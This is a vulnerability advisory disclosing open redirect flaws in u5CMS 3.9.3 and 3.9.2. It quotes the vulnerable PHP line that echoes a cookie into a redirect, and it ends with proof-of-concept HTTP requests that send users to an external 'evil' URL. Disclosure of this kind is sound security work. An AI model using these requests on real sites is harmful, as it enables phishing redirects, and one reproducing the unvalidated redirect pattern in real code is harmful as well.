u5CMS 3.9.3 Multiple Open Redirect Vulnerabilities


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed via the 'uri' GET parameter in 'meta2.php' script and using
Cookie 'pidvesa' is not properly verified before being used to redirect users.
This can be exploited to redirect a user to an arbitrary website e.g. when a
user clicks a specially crafted link to the affected script hosted on a trusted
domain.

==============================================================================
\u5admin\pidvesa.php:
---------------------

Line 5: if ('<?php echo $_COOKIE['pidvesa']?>'!='') location.href='<?php echo $_COOKIE['pidvesa']?>'+'.php';

==============================================================================

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5227
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5227.php


29.12.2014

---


#1

This request example adds '.php' at the end to the pidvesa cookie value:

GET /u5cms/u5admin/pidvesa.php HTTP/1.1
Host: 10.0.50.3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mkmhuo3gquomkki4lurhap45o3; aclan=de; pidvesa=http://zeroscience.mk/evil/script;
Connection: keep-alive

 - To redirect to: http://zeroscience.mk/evil/script.php


--

#2

GET /u5cms/u5admin/meta2.php?uri=http://zeroscience.mk HTTP/1.1